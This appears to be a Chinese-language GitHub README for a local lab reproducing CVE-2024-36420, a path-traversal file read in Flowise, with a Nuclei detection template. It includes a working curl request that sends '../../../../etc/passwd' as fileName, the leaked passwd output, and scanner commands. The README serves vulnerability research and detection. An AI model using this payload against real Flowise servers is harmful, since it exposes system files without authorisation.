fineman999/POC_CVE-2024-36420

GitHub: fineman999/POC_CVE-2024-36420

这是一个用于复现CVE-2024-36420漏洞的概念验证项目,提供本地Docker环境和Nuclei模板以验证Flowise中的任意文件读取漏洞。

Stars: 0 | Forks: 0

# POC_CVE-2024-36420 概念验证 用于复现影响Flowise的`CVE-2024-36420`漏洞的本地实验环境及nuclei模板草案。 ## 摘要 `CVE-2024-36420`是Flowise中由于在以下接口中未经过滤地使用`fileName`请求体参数而导致的任意文件读取漏洞: - `POST /api/v1/openai-assistants-file` 本实验环境用于验证: - 在`flowiseai/flowise:1.4.3`版本上存在漏洞行为 - 在较新的`flowiseai/flowise:3.1.2`版本上漏洞已被拒绝 ## 参考资料 - NVD:https://nvd.nist.gov/vuln/detail/CVE-2024-36420 - GitHub安全实验室:https://securitylab.github.com/advisories/GHSL-2023-232_GHSL-2023-234_Flowise/ ## 文件清单 - `docker-compose.yml` - `docker-compose.latest.yml` - `CVE-2024-36420.yaml` ## 漏洞测试 启动Flowise `1.4.3`版本: ``` docker compose down -v docker compose up -d docker compose logs --tail=100 flowise ``` 手动验证: ``` curl -i \ -X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \ -H 'Content-Type: application/json' \ -d '{"fileName":"../../../../etc/passwd"}' ``` 观察到的漏洞响应: ``` HTTP/1.1 200 OK Content-Disposition: attachment; filename=passwd ... root:x:0:0:root:/root:/bin/ash daemon:x:2:2:daemon:/sbin:/sbin/nologin ... ``` ## 新版控制测试 启动较新的Flowise `3.1.2`版本: ``` docker compose -f docker-compose.latest.yml down -v docker compose -f docker-compose.latest.yml up -d docker compose -f docker-compose.latest.yml logs --tail=100 flowise ``` 手动验证: ``` curl -i \ -X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \ -H 'Content-Type: application/json' \ -d '{"fileName":"../../../../etc/passwd"}' ``` 观察到的新版本响应: ``` HTTP/1.1 401 Unauthorized {"error":"Unauthorized Access"} ``` ## Nuclei模板验证 验证模板: ``` nuclei -duc -validate -t CVE-2024-36420.yaml ``` 针对漏洞目标运行: ``` nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml ``` 预期行为: - `1.4.3`版本:匹配成功 - `3.1.2`版本:匹配失败 ## 备注 - 版本间隔在可接受范围内,因为本仓库仅声明已观察到的行为: - 在`1.4.3`版本存在漏洞 - 在`3.1.2`版本漏洞被拒绝 - 未声明确切的补丁版本边界。 - 未使用任何真实目标进行测试。
标签:API安全, CISA项目, CVE-2024-36420, Docker, Flowise, HTTP工具, JSON输出, Nuclei模板, POC, Web安全, 任意文件读取, 安全扫描, 安全测试, 安全防御评估, 情报收集, 攻击性安全, 文件包含漏洞, 时序注入, 概念验证, 漏洞复现, 漏洞研究, 网络安全, 网络安全审计, 蓝队分析, 请求拦截, 路径遍历, 隐私保护